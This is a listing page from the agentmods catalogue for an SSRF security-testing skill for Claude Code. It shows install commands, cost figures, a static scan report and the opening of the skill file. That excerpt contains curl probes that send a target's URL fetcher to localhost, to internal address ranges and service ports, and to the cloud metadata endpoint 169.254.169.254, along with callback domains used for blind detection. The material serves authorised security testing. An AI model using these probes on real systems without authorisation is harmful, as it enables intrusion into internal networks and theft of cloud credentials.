ssrf-server-side-request-forgery

ssrf-server-side-request-forgery is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 92 tokens per session (2,718 once invoked), scanned B, original, Apache-2.0.

A security-testing guide for server-side request forgery (SSRF), where a server makes network requests based on user input.

In plain words
What is it for?
It is for auditing URL fetchers, webhooks, link previews, document generators, proxies, and imports from external URLs.
Why use it?
It helps identify routes to internal services, cloud metadata, or restricted resources that users should not be able to reach.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patte.

Part of the cyberskills-elite plugin — 191 skills shipped together

Good fit It is for auditing URL fetchers, webhooks, link previews, document generators, proxies, and imports from external URLs.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skills
agentmods
npx agentmods add skills/akashrpatil/awesome-offensive-security-skills/ssrf-server-side-request-forgery

Made for: Claude Code.

Or install cyberskills-elite, the plugin that ships this one along with the rest of its 191 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for ssrf-server-side-request-forgery

README.md
[![agentmods](https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/ssrf-server-side-request-forgery/github.svg)](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/ssrf-server-side-request-forgery)
Your own site
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/ssrf-server-side-request-forgery"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/ssrf-server-side-request-forgery/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for ssrf-server-side-request-forgery

Your own site · 80×15
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/ssrf-server-side-request-forgery"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/ssrf-server-side-request-forgery.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 92 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,718 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00092 $0.02718
Opus 5 $0.00046 $0.01359
Sonnet 5 $0.00018 $0.00544
Haiku 4.5 $0.00009 $0.00272

Measured 7d ago against content hash 030f3251f415, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade B, and why

ssrf-server-side-request-forgery scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

curl "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/"

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

tools: [burpsuite, ssrfmap, interactsh, curl]
skills/bug-hunting/web-vulnerabilities/ssrf-server-side-request-forgery/SKILL.md · 225 lines

How it starts

The opening of the file, as written. The whole thing — 225 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SSRF — Server-Side Request Forgery

When to Use

  • When testing features that fetch URLs (image upload via URL, link previews, webhooks)
  • When PDF/document generators accept external resources
  • When testing import functionality (CSV from URL, RSS feeds)
  • When the application proxies requests or integrates with external services
  • When testing cloud-hosted applications for metadata endpoint access

Prerequisites

  • Burp Suite with Collaborator or Interactsh for blind SSRF detection
  • Knowledge of target's cloud provider (AWS/GCP/Azure) for metadata attacks
  • curl for manual testing
  • SSRFMap for automated exploitation

Workflow

Phase 1: Identify SSRF Entry Points

# Common SSRF-vulnerable features:
# - Image/file upload via URL
# - Webhook configurations
# - PDF/HTML renderers (wkhtmltopdf, puppeteer)
# - Link preview / URL unfurling
# - RSS/Atom feed parsers
# - Import from URL functionality
# - OAuth callback URLs
# - Server-side includes

# Test with Burp Collaborator / Interactsh
# Replace any URL parameter with your callback server:
curl "https://target.com/api/fetch?url=https://YOUR-COLLAB-ID.oastify.com"
curl "https://target.com/api/preview?link=https://YOUR-COLLAB-ID.oastify.com"

# Check for blind SSRF (no response returned but request is made)
# Use interactsh for OOB detection:
interactsh-client -v
# Use the generated domain as SSRF target

Phase 2: Internal Network Access

# Test access to internal services
# Localhost
curl "https://target.com/fetch?url=http://127.0.0.1:80"
curl "https://target.com/fetch?url=http://localhost:8080"
curl "https://target.com/fetch?url=http://0.0.0.0:80"
curl "https://target.com/fetch?url=http://[::1]:80"

# Internal network ranges
curl "https://target.com/fetch?url=http://10.0.0.1"
curl "https://target.com/fetch?url=http://172.16.0.1"
curl "https://target.com/fetch?url=http://192.168.1.1"

# Common internal services
curl "https://target.com/fetch?url=http://127.0.0.1:6379"     # Redis
curl "https://target.com/fetch?url=http://127.0.0.1:9200"     # Elasticsearch
curl "https://target.com/fetch?url=http://127.0.0.1:8500"     # Consul
curl "https://target.com/fetch?url=http://127.0.0.1:2379"     # etcd
curl "https://target.com/fetch?url=http://127.0.0.1:27017"    # MongoDB

Read the full file on GitHub · 225 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 225 lines · 92 tokens per session scan B 030f3251f415

Subscribe to this mod's changes

ssrf-server-side-request-forgery is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 92 tokens to every session and 2,718 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it B with 2 findings (cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

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